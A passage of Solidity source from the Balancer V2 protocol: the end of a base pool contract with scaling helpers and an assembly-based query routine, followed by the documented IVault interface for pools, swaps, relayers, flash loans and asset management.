scalingFactors[0] = _scalingFactor0; } else { return scalingFactors; } if (totalTokens > 1) { scalingFactors[1] = _scalingFactor1; } else { return scalingFactors; } if (totalTokens > 2) { scalingFactors[2] = _scalingFactor2; } else { return scalingFactors; } if (totalTokens > 3) { scalingFactors[3] = _scalingFactor3; } else { return scalingFactors; } if (totalTokens > 4) { scalingFactors[4] = _scalingFactor4; } else { return scalingFactors; } if (totalTokens > 5) { scalingFactors[5] = _scalingFactor5; } else { return scalingFactors; } if (totalTokens > 6) { scalingFactors[6] = _scalingFactor6; } else { return scalingFactors; } if (totalTokens > 7) { scalingFactors[7] = _scalingFactor7; } else { return scalingFactors; } } return scalingFactors; } /** * @dev Applies `scalingFactor` to `amount`, resulting in a larger or equal value depending on whether it needed * scaling or not. */ function _upscale(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.mul(amount, scalingFactor); } /** * @dev Same as `_upscale`, but for an entire array. This function does not return anything, but instead *mutates* * the `amounts` array. */ function _upscaleArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.mul(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded down. */ function _downscaleDown(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divDown(amount, scalingFactor); } /** * @dev Same as `_downscaleDown`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleDownArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divDown(amounts[i], scalingFactors[i]); } } /** * @dev Reverses the `scalingFactor` applied to `amount`, resulting in a smaller or equal value depending on * whether it needed scaling or not. The result is rounded up. */ function _downscaleUp(uint256 amount, uint256 scalingFactor) internal pure returns (uint256) { return Math.divUp(amount, scalingFactor); } /** * @dev Same as `_downscaleUp`, but for an entire array. This function does not return anything, but instead * *mutates* the `amounts` array. */ function _downscaleUpArray(uint256[] memory amounts, uint256[] memory scalingFactors) internal view { for (uint256 i = 0; i < _getTotalTokens(); ++i) { amounts[i] = Math.divUp(amounts[i], scalingFactors[i]); } } function _getAuthorizer() internal view override returns (IAuthorizer) { // Access control management is delegated to the Vault's Authorizer. This lets Balancer Governance manage which // accounts can call permissioned functions: for example, to perform emergency pauses. // If the owner is delegated, then *all* permissioned functions, including `setSwapFeePercentage`, will be under // Governance control. return getVault().getAuthorizer(); } function _queryAction( bytes32 poolId, address sender, address recipient, uint256[] memory balances, uint256 lastChangeBlock, uint256 protocolSwapFeePercentage, bytes memory userData, function(bytes32, address, address, uint256[] memory, uint256, uint256, bytes memory) internal returns (uint256, uint256[] memory, uint256[] memory) _action, function(uint256[] memory, uint256[] memory) internal view _downscaleArray ) private { // This uses the same technique used by the Vault in queryBatchSwap. Refer to that function for a detailed // explanation. if (msg.sender != address(this)) { // We perform an external call to ourselves, forwarding the same calldata. In this call, the else clause of // the preceding if statement will be executed instead. // solhint-disable-next-line avoid-low-level-calls (bool success, ) = address(this).call(msg.data); // solhint-disable-next-line no-inline-assembly assembly { // This call should always revert to decode the bpt and token amounts from the revert reason switch success case 0 { // Note we are manually writing the memory slot 0. We can safely overwrite whatever is // stored there as we take full control of the execution and then immediately return. // We copy the first 4 bytes to check if it matches with the expected signature, otherwise // there was another revert reason and we should forward it. returndatacopy(0, 0, 0x04) let error := and(mload(0), 0xffffffff00000000000000000000000000000000000000000000000000000000) // If the first 4 bytes don't match with the expected signature, we forward the revert reason. if eq(eq(error, 0x43adbafb00000000000000000000000000000000000000000000000000000000), 0) { returndatacopy(0, 0, returndatasize()) revert(0, returndatasize()) } // The returndata contains the signature, followed by the raw memory representation of the // `bptAmount` and `tokenAmounts` (array: length + data). We need to return an ABI-encoded // representation of these. // An ABI-encoded response will include one additional field to indicate the starting offset of // the `tokenAmounts` array. The `bptAmount` will be laid out in the first word of the // returndata. // // In returndata: // [ signature ][ bptAmount ][ tokenAmounts length ][ tokenAmounts values ] // [ 4 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // // We now need to return (ABI-encoded values): // [ bptAmount ][ tokeAmounts offset ][ tokenAmounts length ][ tokenAmounts values ] // [ 32 bytes ][ 32 bytes ][ 32 bytes ][ (32 * length) bytes ] // We copy 32 bytes for the `bptAmount` from returndata into memory. // Note that we skip the first 4 bytes for the error signature returndatacopy(0, 0x04, 32) // The offsets are 32-bytes long, so the array of `tokenAmounts` will start after // the initial 64 bytes. mstore(0x20, 64) // We now copy the raw memory array for the `tokenAmounts` from returndata into memory. // Since bpt amount and offset take up 64 bytes, we start copying at address 0x40. We also // skip the first 36 bytes from returndata, which correspond to the signature plus bpt amount. returndatacopy(0x40, 0x24, sub(returndatasize(), 36)) // We finally return the ABI-encoded uint256 and the array, which has a total length equal to // the size of returndata, plus the 32 bytes of the offset but without the 4 bytes of the // error signature. return(0, add(returndatasize(), 28)) } default { // This call should always revert, but we fail nonetheless if that didn't happen invalid() } } } else { uint256[] memory scalingFactors = _scalingFactors(); _upscaleArray(balances, scalingFactors); (uint256 bptAmount, uint256[] memory tokenAmounts, ) = _action( poolId, sender, recipient, balances, lastChangeBlock, protocolSwapFeePercentage, userData ); _downscaleArray(tokenAmounts, scalingFactors); // solhint-disable-next-line no-inline-assembly assembly { // We will return a raw representation of `bptAmount` and `tokenAmounts` in memory, which is composed of // a 32-byte uint256, followed by a 32-byte for the array length, and finally the 32-byte uint256 values // Because revert expects a size in bytes, we multiply the array length (stored at `tokenAmounts`) by 32 let size := mul(mload(tokenAmounts), 32) // We store the `bptAmount` in the previous slot to the `tokenAmounts` array. We can make sure there // will be at least one available slot due to how the memory scratch space works. // We can safely overwrite whatever is stored in this slot as we will revert immediately after that. let start := sub(tokenAmounts, 0x20) mstore(start, bptAmount) // We send one extra value for the error signature "QueryError(uint256,uint256[])" which is 0x43adbafb // We use the previous slot to `bptAmount`. mstore(sub(start, 0x20), 0x0000000000000000000000000000000000000000000000000000000043adbafb) start := sub(start, 0x04) // When copying from `tokenAmounts` into returndata, we copy the additional 68 bytes to also return // the `bptAmount`, the array 's length, and the error signature. revert(start, add(size, 68)) } } } } // SPDX-License-Identifier: GPL-3.0-or-later // This program is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 3 of the License, or // (at your option) any later version. // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // You should have received a copy of the GNU General Public License // along with this program. If not, see <http://www.gnu.org/licenses/>. pragma experimental ABIEncoderV2; import "../../lib/openzeppelin/IERC20.sol"; import "./IWETH.sol"; import "./IAsset.sol"; import "./IAuthorizer.sol"; import "./IFlashLoanRecipient.sol"; import "../ProtocolFeesCollector.sol"; import "../../lib/helpers/ISignaturesValidator.sol"; import "../../lib/helpers/ITemporarilyPausable.sol"; pragma solidity ^0.7.0; /** * @dev Full external interface for the Vault core contract - no external or public methods exist in the contract that * don't override one of these declarations. */ interface IVault is ISignaturesValidator, ITemporarilyPausable { // Generalities about the Vault: // // - Whenever documentation refers to 'tokens', it strictly refers to ERC20-compliant token contracts. Tokens are // transferred out of the Vault by calling the `IERC20.transfer` function, and transferred in by calling // `IERC20.transferFrom`. In these cases, the sender must have previously allowed the Vault to use their tokens by // calling `IERC20.approve`. The only deviation from the ERC20 standard that is supported is functions not returning // a boolean value: in these scenarios, a non-reverting call is assumed to be successful. // // - All non-view functions in the Vault are non-reentrant: calling them while another one is mid-execution (e.g. // while execution control is transferred to a token contract during a swap) will result in a revert. View // functions can be called in a re-reentrant way, but doing so might cause them to return inconsistent results. // Contracts calling view functions in the Vault must make sure the Vault has not already been entered. // // - View functions revert if referring to either unregistered Pools, or unregistered tokens for registered Pools. // Authorizer // // Some system actions are permissioned, like setting and collecting protocol fees. This permissioning system exists // outside of the Vault in the Authorizer contract: the Vault simply calls the Authorizer to check if the caller // can perform a given action. /** * @dev Returns the Vault's Authorizer. */ function getAuthorizer() external view returns (IAuthorizer); /** * @dev Sets a new Authorizer for the Vault. The caller must be allowed by the current Authorizer to do this. * * Emits an `AuthorizerChanged` event. */ function setAuthorizer(IAuthorizer newAuthorizer) external; /** * @dev Emitted when a new authorizer is set by `setAuthorizer`. */ event AuthorizerChanged(IAuthorizer indexed newAuthorizer); // Relayers // // Additionally, it is possible for an account to perform certain actions on behalf of another one, using their // Vault ERC20 allowance and Internal Balance. These accounts are said to be 'relayers' for these Vault functions, // and are expected to be smart contracts with sound authentication mechanisms. For an account to be able to wield // this power, two things must occur: // - The Authorizer must grant the account the permission to be a relayer for the relevant Vault function. This // means that Balancer governance must approve each individual contract to act as a relayer for the intended // functions. // - Each user must approve the relayer to act on their behalf. // This double protection means users cannot be tricked into approving malicious relayers (because they will not // have been allowed by the Authorizer via governance), nor can malicious relayers approved by a compromised // Authorizer or governance drain user funds, since they would also need to be approved by each individual user. /** * @dev Returns true if `user` has approved `relayer` to act as a relayer for them. */ function hasApprovedRelayer(address user, address relayer) external view returns (bool); /** * @dev Allows `relayer` to act as a relayer for `sender` if `approved` is true, and disallows it otherwise. * * Emits a `RelayerApprovalChanged` event. */ function setRelayerApproval( address sender, address relayer, bool approved ) external; /** * @dev Emitted every time a relayer is approved or disapproved by `setRelayerApproval`. */ event RelayerApprovalChanged(address indexed relayer, address indexed sender, bool approved); // Internal Balance // // Users can deposit tokens into the Vault, where they are allocated to their Internal Balance, and later // transferred or withdrawn. It can also be used as a source of tokens when joining Pools, as a destination // when exiting them, and as either when performing swaps. This usage of Internal Balance results in greatly reduced // gas costs when compared to relying on plain ERC20 transfers, leading to large savings for frequent users. // // Internal Balance management features batching, which means a single contract call can be used to perform multiple // operations of different kinds, with different senders and recipients, at once. /** * @dev Returns `user`'s Internal Balance for a set of tokens. */ function getInternalBalance(address user, IERC20[] memory tokens) external view returns (uint256[] memory); /** * @dev Performs a set of user balance operations, which involve Internal Balance (deposit, withdraw or transfer) * and plain ERC20 transfers using the Vault's allowance. This last feature is particularly useful for relayers, as * it lets integrators reuse a user's Vault allowance. * * For each operation, if the caller is not `sender`, it must be an authorized relayer for them. */ function manageUserBalance(UserBalanceOp[] memory ops) external payable; /** * @dev Data for `manageUserBalance` operations, which include the possibility for ETH to be sent and received without manual WETH wrapping or unwrapping. */ struct UserBalanceOp { UserBalanceOpKind kind; IAsset asset; uint256 amount; address sender; address payable recipient; } // There are four possible operations in `manageUserBalance`: // // - DEPOSIT_INTERNAL // Increases the Internal Balance of the `recipient` account by transferring tokens from the corresponding // `sender`. The sender must have allowed the Vault to use their tokens via `IERC20.approve()`. // // ETH can be used by passing the ETH sentinel value as the asset and forwarding ETH in the call: it will be wrapped // and deposited as WETH. Any ETH amount remaining will be sent back to the caller (not the sender, which is // relevant for relayers). // // Emits an `InternalBalanceChanged` event. // // // - WITHDRAW_INTERNAL // Decreases the Internal Balance of the `sender` account by transferring tokens to the `recipient`. // // ETH can be used by passing the ETH sentinel value as the asset. This will deduct WETH instead, unwrap it and send // it to the recipient as ETH. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_INTERNAL // Transfers tokens from the Internal Balance of the `sender` account to the Internal Balance of `recipient`. // // Reverts if the ETH sentinel value is passed. // // Emits an `InternalBalanceChanged` event. // // // - TRANSFER_EXTERNAL // Transfers tokens from `sender` to `recipient`, using the Vault's ERC20 allowance. This is typically used by // relayers, as it lets them reuse a user's Vault allowance. // // Reverts if the ETH sentinel value is passed. // // Emits an `ExternalBalanceTransfer` event. enum UserBalanceOpKind { DEPOSIT_INTERNAL, WITHDRAW_INTERNAL, TRANSFER_INTERNAL, TRANSFER_EXTERNAL } /** * @dev Emitted when a user's Internal Balance changes, either from calls to `manageUserBalance`, or through * interacting with Pools using Internal Balance. * * Because Internal Balance works exclusively with ERC20 tokens, ETH deposits and withdrawals will use the WETH * address. */ event InternalBalanceChanged(address indexed user, IERC20 indexed token, int256 delta); /** * @dev Emitted when a user's Vault ERC20 allowance is used by the Vault to transfer tokens to an external account. */ event ExternalBalanceTransfer(IERC20 indexed token, address indexed sender, address recipient, uint256 amount); // Pools // // There are three specialization settings for Pools, which allow for cheaper swaps at the cost of reduced // functionality: // // - General: no specialization, suited for all Pools. IGeneralPool is used for swap request callbacks, passing the // balance of all tokens in the Pool. These Pools have the largest swap costs (because of the extra storage reads), // which increase with the number of registered tokens. // // - Minimal Swap Info: IMinimalSwapInfoPool is used instead of IGeneralPool, which saves gas by only passing the // balance of the two tokens involved in the swap. This is suitable for some pricing algorithms, like the weighted // constant product one popularized by Balancer V1. Swap costs are smaller compared to general Pools, and are // independent of the number of registered tokens. // // - Two Token: only allows two tokens to be registered. This achieves the lowest possible swap gas cost. Like // minimal swap info Pools, these are called via IMinimalSwapInfoPool. enum PoolSpecialization { GENERAL, MINIMAL_SWAP_INFO, TWO_TOKEN } /** * @dev Registers the caller account as a Pool with a given specialization setting. Returns the Pool's ID, which * is used in all Pool-related functions. Pools cannot be deregistered, nor can the Pool's specialization be * changed. * * The caller is expected to be a smart contract that implements either `IGeneralPool` or `IMinimalSwapInfoPool`, * depending on the chosen specialization setting. This contract is known as the Pool's contract. * * Note that the same contract may register itself as multiple Pools with unique Pool IDs, or in other words, * multiple Pools may share the same contract. * * Emits a `PoolRegistered` event. */ function registerPool(PoolSpecialization specialization) external returns (bytes32); /** * @dev Emitted when a Pool is registered by calling `registerPool`. */ event PoolRegistered(bytes32 indexed poolId, address indexed poolAddress, PoolSpecialization specialization); /** * @dev Returns a Pool's contract address and specialization setting. */ function getPool(bytes32 poolId) external view returns (address, PoolSpecialization); /** * @dev Registers `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Pools can only interact with tokens they have registered. Users join a Pool by transferring registered tokens, * exit by receiving registered tokens, and can only swap registered tokens. * * Each token can only be registered once. For Pools with the Two Token specialization, `tokens` must have a length * of two, that is, both tokens must be registered in the same `registerTokens` call, and they must be sorted in * ascending order. * * The `tokens` and `assetManagers` arrays must have the same length, and each entry in these indicates the Asset * Manager for the corresponding token. Asset Managers can manage a Pool's tokens via `managePoolBalance`, * depositing and withdrawing them directly, and can even set their balance to arbitrary amounts. They are therefore * expected to be highly secured smart contracts with sound design principles, and the decision to register an * Asset Manager should not be made lightly. * * Pools can choose not to assign an Asset Manager to a given token by passing in the zero address. Once an Asset * Manager is set, it cannot be changed except by deregistering the associated token and registering again with a * different Asset Manager. * * Emits a `TokensRegistered` event. */ function registerTokens( bytes32 poolId, IERC20[] memory tokens, address[] memory assetManagers ) external; /** * @dev Emitted when a Pool registers tokens by calling `registerTokens`. */ event TokensRegistered(bytes32 indexed poolId, IERC20[] tokens, address[] assetManagers); /** * @dev Deregisters `tokens` for the `poolId` Pool. Must be called by the Pool's contract. * * Only registered tokens (via `registerTokens`) can be deregistered. Additionally, they must have zero total * balance. For Pools with the Two Token specialization, `tokens` must have a length of two, that is, both tokens * must be deregistered in the same `deregisterTokens` call. * * A deregistered token can be re-registered later on, possibly with a different Asset Manager. * * Emits a `TokensDeregistered` event. */ function deregisterTokens(bytes32 poolId, IERC20[] memory tokens) external; /** * @dev Emitted when a Pool deregisters tokens by calling `deregisterTokens`. */ event TokensDeregistered(bytes32 indexed poolId, IERC20[] tokens); /** * @dev Returns detailed information for a Pool's registered token. * * `cash` is the number of tokens the Vault currently holds for the Pool. `managed` is the number of tokens * withdrawn and held outside the Vault by the Pool's token Asset Manager. The Pool's total balance for `token` * equals the sum of `cash` and `managed`. * * Internally, `cash` and `managed` are stored using 112 bits. No action can ever cause a Pool's token `cash`, * `managed` or `total` balance to be greater than 2^112 - 1. * * `lastChangeBlock` is the number of the block in which `token`'s total balance was last modified (via either a * join, exit, swap, or Asset Manager update). This value is useful to avoid so-called 'sandwich attacks', for * example when developing price oracles. A change of zero (e.g. caused by a swap with amount zero) is considered a * change for this purpose, and will update `lastChangeBlock`. * * `assetManager` is the Pool's token Asset Manager. */ function getPoolTokenInfo(bytes32 poolId, IERC20 token) external view returns ( uint256 cash, uint256 managed, uint256 lastChangeBlock, address assetManager ); /** * @dev Returns a Pool's registered tokens, the total balance for each, and the latest block when *any* of * the tokens' `balances` changed. * * The order of the `tokens` array is the same order that will be used in `joinPool`, `exitPool`, as well as in all * Pool hooks (where applicable). Calls to `registerTokens` and `deregisterTokens` may change this order. * * If a Pool only registers tokens once, and these are sorted in ascending order, they will be stored in the same * order as passed to `registerTokens`. * * Total balances include both tokens held by the Vault and those withdrawn by the Pool's Asset Managers. These are * the amounts used by joins, exits and swaps. For a detailed breakdown of token balances, use `getPoolTokenInfo` * instead. */ function getPoolTokens(bytes32 poolId) external view returns ( IERC20[] memory tokens, uint256[] memory balances, uint256 lastChangeBlock ); /** * @dev Called by users to join a Pool, which transfers tokens from `sender` into the Pool's balance. This will * trigger custom Pool behavior, which will typically grant something in return to `recipient` - often tokenized * Pool shares. * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `assets` and `maxAmountsIn` arrays must have the same length, and each entry indicates the maximum amount * to send for each asset. The amounts to send are decided by the Pool and not the Vault: it just enforces * these maximums. * * If joining a Pool that holds WETH, it is possible to send ETH directly: the Vault will do the wrapping. To enable * this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead of the * WETH address. Note that it is not possible to combine ETH and WETH in the same join. Any excess ETH will be sent * back to the caller (not the sender, which is important for relayers). * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If sending ETH however, the array must be * sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the final * `assets` array might not be sorted. Pools with no registered tokens cannot be joined. * * If `fromInternalBalance` is true, the caller's Internal Balance will be preferred: ERC20 transfers will only * be made for the difference between the requested amount and Internal Balance (if any). Note that ETH cannot be * withdrawn from Internal Balance: attempting to do so will trigger a revert. * * This causes the Vault to call the `IBasePool.onJoinPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares). This can be encoded in the `userData` argument, which is ignored by the Vault and passed * directly to the Pool's contract, as is `recipient`. * * Emits a `PoolBalanceChanged` event. */ function joinPool( bytes32 poolId, address sender, address recipient, JoinPoolRequest memory request ) external payable; struct JoinPoolRequest { IAsset[] assets; uint256[] maxAmountsIn; bytes userData; bool fromInternalBalance; } /** * @dev Called by users to exit a Pool, which transfers tokens from the Pool's balance to `recipient`. This will * trigger custom Pool behavior, which will typically ask for something in return from `sender` - often tokenized * Pool shares. The amount of tokens that can be withdrawn is limited by the Pool's `cash` balance (see * `getPoolTokenInfo`). * * If the caller is not `sender`, it must be an authorized relayer for them. * * The `tokens` and `minAmountsOut` arrays must have the same length, and each entry in these indicates the minimum * token amount to receive for each token contract. The amounts to send are decided by the Pool and not the Vault: * it just enforces these minimums. * * If exiting a Pool that holds WETH, it is possible to receive ETH directly: the Vault will do the unwrapping. To * enable this mechanism, the IAsset sentinel value (the zero address) must be passed in the `assets` array instead * of the WETH address. Note that it is not possible to combine ETH and WETH in the same exit. * * `assets` must have the same length and order as the array returned by `getPoolTokens`. This prevents issues when * interacting with Pools that register and deregister tokens frequently. If receiving ETH however, the array must * be sorted *before* replacing the WETH address with the ETH sentinel value (the zero address), which means the * final `assets` array might not be sorted. Pools with no registered tokens cannot be exited. * * If `toInternalBalance` is true, the tokens will be deposited to `recipient`'s Internal Balance. Otherwise, * an ERC20 transfer will be performed. Note that ETH cannot be deposited to Internal Balance: attempting to * do so will trigger a revert. * * `minAmountsOut` is the minimum amount of tokens the user expects to get out of the Pool, for each token in the * `tokens` array. This array must match the Pool's registered tokens. * * This causes the Vault to call the `IBasePool.onExitPool` hook on the Pool's contract, where Pools implement * their own custom logic. This typically requires additional information from the user (such as the expected number * of Pool shares to return). This can be encoded in the `userData` argument, which is ignored by the Vault and * passed directly to the Pool's contract. * * Emits a `PoolBalanceChanged` event. */ function exitPool( bytes32 poolId, address sender, address payable recipient, ExitPoolRequest memory request ) external; struct ExitPoolRequest { IAsset[] assets; uint256[] minAmountsOut; bytes userData; bool toInternalBalance; } /** * @dev Emitted when a user joins or exits a Pool by calling `joinPool` or `exitPool`, respectively. */ event PoolBalanceChanged( bytes32 indexed poolId, address indexed liquidityProvider, IERC20[] tokens, int256[] deltas, uint256[] protocolFeeAmounts ); enum PoolBalanceChangeKind { JOIN, EXIT } // Swaps // // Users can swap tokens with Pools by calling the `swap` and `batchSwap` functions. To do this, // they need not trust Pool contracts in any way: all security checks are made by the Vault. They must however be // aware of the Pools' pricing algorithms in order to estimate the prices Pools will quote. // // The `swap` function executes a single swap, while `batchSwap` can perform multiple swaps in sequence. // In each individual swap, tokens of one kind are sent from the sender to the Pool (this is the 'token in'), // and tokens of another kind are sent from the Pool to the recipient in exchange (this is the 'token out'). // More complex swaps, such as one token in to multiple tokens out can be achieved by batching together // individual swaps. // // There are two swap kinds: // - 'given in' swaps, where the amount of tokens in (sent to the Pool) is known, and the Pool determines (via the // `onSwap` hook) the amount of tokens out (to send to the recipient). // - 'given out' swaps, where the amount of tokens out (received from the Pool) is known, and the Pool determines // (via the `onSwap` hook) the amount of tokens in (to receive from the sender). // // Additionally, it is possible to chain swaps using a placeholder input amount, which the Vault replaces with // the calculated output of the previous swap. If the previous swap was 'given in', this will be the calculated // tokenOut amount. If the previous swap was 'given out', it will use the calculated tokenIn amount. These extended // swaps are known as 'multihop' swaps, since they 'hop' through a number of intermediate tokens before arriving at // the final intended token. // // In all cases, tokens are only transferred in and out of the Vault (or withdrawn from and deposited into Internal // Balance) after all individual swaps have been completed, and the net token balance change computed. This makes // certain swap patterns, such as multihops, or swaps that interact with the same token pair in multiple Pools, cost // much less gas than they would otherwise. // // It also means that under certain conditions it is possible to perform arbitrage by swapping with multiple // Pools in a way that results in net token movement out of the Vault (profit), with no tokens being sent in (only // updating the Pool's internal accounting). // // To protect users from front-running or the market changing rapidly, they supply a list of 'limits' for each token // involved in the swap, where either the maximum number of tokens to send (by passing a positive value) or the // minimum amount of tokens to receive (by passing a negative value) is specified. // // Additionally, a 'deadline' timestamp can also be provided, forcing the swap to fail if it occurs after // this point in time (e.g. if the transaction failed to be included in a block promptly). // // If interacting with Pools that hold WETH, it is possible to both send and receive ETH directly: the Vault will do // the wrapping and unwrapping. To enable this mechanism, the IAsset sentinel value (the zero address) must be // passed in the `assets` array instead of the WETH address. Note that it is possible to combine ETH and WETH in the // same swap. Any excess ETH will be sent back to the caller (not the sender, which is relevant for relayers). // // Finally, Internal Balance can be used when either sending or receiving tokens. enum SwapKind { GIVEN_IN, GIVEN_OUT } /** * @dev Performs a swap with a single Pool. * * If the swap is 'given in' (the number of tokens to send to the Pool is known), it returns the amount of tokens * taken from the Pool, which must be greater than or equal to `limit`. * * If the swap is 'given out' (the number of tokens to take from the Pool is known), it returns the amount of tokens * sent to the Pool, which must be less than or equal to `limit`. * * Internal Balance usage and the recipient are determined by the `funds` struct. * * Emits a `Swap` event. */ function swap( SingleSwap memory singleSwap, FundManagement memory funds, uint256 limit, uint256 deadline ) external payable returns (uint256); /** * @dev Data for a single swap executed by `swap`. `amount` is either `amountIn` or `amountOut` depending on * the `kind` value. * * `assetIn` and `assetOut` are either token addresses, or the IAsset sentinel value for ETH (the zero address). * Note that Pools never interact with ETH directly: it will be wrapped to or unwrapped from WETH by the Vault. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct SingleSwap { bytes32 poolId; SwapKind kind; IAsset assetIn; IAsset assetOut; uint256 amount; bytes userData; } /** * @dev Performs a series of swaps with one or multiple Pools. In each individual swap, the caller determines either * the amount of tokens sent to or received from the Pool, depending on the `kind` value. * * Returns an array with the net Vault asset balance deltas. Positive amounts represent tokens (or ETH) sent to the * Vault, and negative amounts represent tokens (or ETH) sent by the Vault. Each delta corresponds to the asset at * the same index in the `assets` array. * * Swaps are executed sequentially, in the order specified by the `swaps` array. Each array element describes a * Pool, the token to be sent to this Pool, the token to receive from it, and an amount that is either `amountIn` or * `amountOut` depending on the swap kind. * * Multihop swaps can be executed by passing an `amount` value of zero for a swap. This will cause the amount in/out * of the previous swap to be used as the amount in for the current one. In a 'given in' swap, 'tokenIn' must equal * the previous swap's `tokenOut`. For a 'given out' swap, `tokenOut` must equal the previous swap's `tokenIn`. * * The `assets` array contains the addresses of all assets involved in the swaps. These are either token addresses, * or the IAsset sentinel value for ETH (the zero address). Each entry in the `swaps` array specifies tokens in and * out by referencing an index in `assets`. Note that Pools never interact with ETH directly: it will be wrapped to * or unwrapped from WETH by the Vault. * * Internal Balance usage, sender, and recipient are determined by the `funds` struct. The `limits` array specifies * the minimum or maximum amount of each token the vault is allowed to transfer. * * `batchSwap` can be used to make a single swap, like `swap` does, but doing so requires more gas than the * equivalent `swap` call. * * Emits `Swap` events. */ function batchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds, int256[] memory limits, uint256 deadline ) external payable returns (int256[] memory); /** * @dev Data for each individual swap executed by `batchSwap`. The asset in and out fields are indexes into the * `assets` array passed to that function, and ETH assets are converted to WETH. * * If `amount` is zero, the multihop mechanism is used to determine the actual amount based on the amount in/out * from the previous swap, depending on the swap kind. * * The `userData` field is ignored by the Vault, but forwarded to the Pool in the `onSwap` hook, and may be * used to extend swap behavior. */ struct BatchSwapStep { bytes32 poolId; uint256 assetInIndex; uint256 assetOutIndex; uint256 amount; bytes userData; } /** * @dev Emitted for each individual swap performed by `swap` or `batchSwap`. */ event Swap( bytes32 indexed poolId, IERC20 indexed tokenIn, IERC20 indexed tokenOut, uint256 amountIn, uint256 amountOut ); /** * @dev All tokens in a swap are either sent from the `sender` account to the Vault, or from the Vault to the * `recipient` account. * * If the caller is not `sender`, it must be an authorized relayer for them. * * If `fromInternalBalance` is true, the `sender`'s Internal Balance will be preferred, performing an ERC20 * transfer for the difference between the requested amount and the User's Internal Balance (if any). The `sender` * must have allowed the Vault to use their tokens via `IERC20.approve()`. This matches the behavior of * `joinPool`. * * If `toInternalBalance` is true, tokens will be deposited to `recipient`'s internal balance instead of * transferred. This matches the behavior of `exitPool`. * * Note that ETH cannot be deposited to or withdrawn from Internal Balance: attempting to do so will trigger a * revert. */ struct FundManagement { address sender; bool fromInternalBalance; address payable recipient; bool toInternalBalance; } /** * @dev Simulates a call to `batchSwap`, returning an array of Vault asset deltas. Calls to `swap` cannot be * simulated directly, but an equivalent `batchSwap` call can and will yield the exact same result. * * Each element in the array corresponds to the asset at the same index, and indicates the number of tokens (or ETH) * the Vault would take from the sender (if positive) or send to the recipient (if negative). The arguments it * receives are the same that an equivalent `batchSwap` call would receive. * * Unlike `batchSwap`, this function performs no checks on the sender or recipient field in the `funds` struct. * This makes it suitable to be called by off-chain applications via eth_call without needing to hold tokens, * approve them for the Vault, or even know a user's address. * * Note that this function is not 'view' (due to implementation details): the client code must explicitly execute * eth_call instead of eth_sendTransaction. */ function queryBatchSwap( SwapKind kind, BatchSwapStep[] memory swaps, IAsset[] memory assets, FundManagement memory funds ) external returns (int256[] memory assetDeltas); // Flash Loans /** * @dev Performs a 'flash loan', sending tokens to `recipient`, executing the `receiveFlashLoan` hook on it, * and then reverting unless the tokens plus a proportional protocol fee have been returned. * * The `tokens` and `amounts` arrays must have the same length, and each entry in these indicates the loan amount * for each token contract. `tokens` must be sorted in ascending order. * * The 'userData' field is ignored by the Vault, and forwarded as-is to `recipient` as part of the * `receiveFlashLoan` call. * * Emits `FlashLoan` events. */ function flashLoan( IFlashLoanRecipient recipient, IERC20[] memory tokens, uint256[] memory amounts, bytes memory userData ) external; /** * @dev Emitted for each individual flash loan performed by `flashLoan`. */ event FlashLoan(IFlashLoanRecipient indexed recipient, IERC20 indexed token, uint256 amount, uint256 feeAmount); // Asset Management // // Each token registered for a Pool can be assigned an Asset Manager, which is able to freely withdraw the Pool's // tokens from the Vault, deposit them, or assign arbitrary values to its `managed` balance (see // `getPoolTokenInfo`). This makes them extremely powerful and dangerous. Even if an Asset Manager only directly // controls one of the tokens in a Pool, a malicious manager could set that token's balance to manipulate the // prices of the other tokens, and then drain the Pool with swaps. The risk of using Asset Managers is therefore // not constrained to the tokens they are managing, but extends to the entire Pool's holdings. // // However, a properly designed Asset Manager smart contract can be safely used for the Pool's benefit, // for example by lending unused tokens out for interest, or using them to participate in voting protocols. // // This concept is unrelated to the IAsset interface. /** * @dev Performs a set of Pool balance operations, which may be either withdrawals, deposits or updates. * * Pool Balance management features batching, which means a single contract call can be used to perform multiple * operations of different kinds, with different Pools and tokens, at once. * * For each operation, the caller must be registered as the Asset Manager for `token` in `poolId`. */ function managePoolBalance(PoolBalanceOp[] memory ops) external; struct PoolBalanceOp { PoolBalanceOpKind kind; bytes32 poolId; IERC20 token; uint256 amount; } /** * Withdrawals decrease the Pool's cash, but increase its managed balance, leaving the total balance unchanged. * * Deposits increase the Pool's cash, but decrease its managed balance, leaving the total balance unchanged. * * Updates don't affect the Pool's cash balance, but because the managed balance changes, it does alter the total. * The external amount can be either increased or decreased by this call (i.e., reporting a gain or a loss). */ enum PoolBalanceOpKind { WITHDRAW, DEPOSIT, UPDATE } /** * @dev Emitted when a Pool's token Asset Manager alters its balance via `managePoolBalance`. */ event PoolBalanceManaged( bytes32 indexed poolId, address indexed assetManager, IERC20 indexed token, int256 cashDelta, int256 managedDelta ); // Protocol Fees // // Some operations cause the Vault to collect tokens in the form of protocol fees, which can then be withdrawn by // permissioned accounts. // // There are two kinds of protocol fees: // // - flash loan fees: charged on all flash loans, as a percentage of the amounts lent. // // - 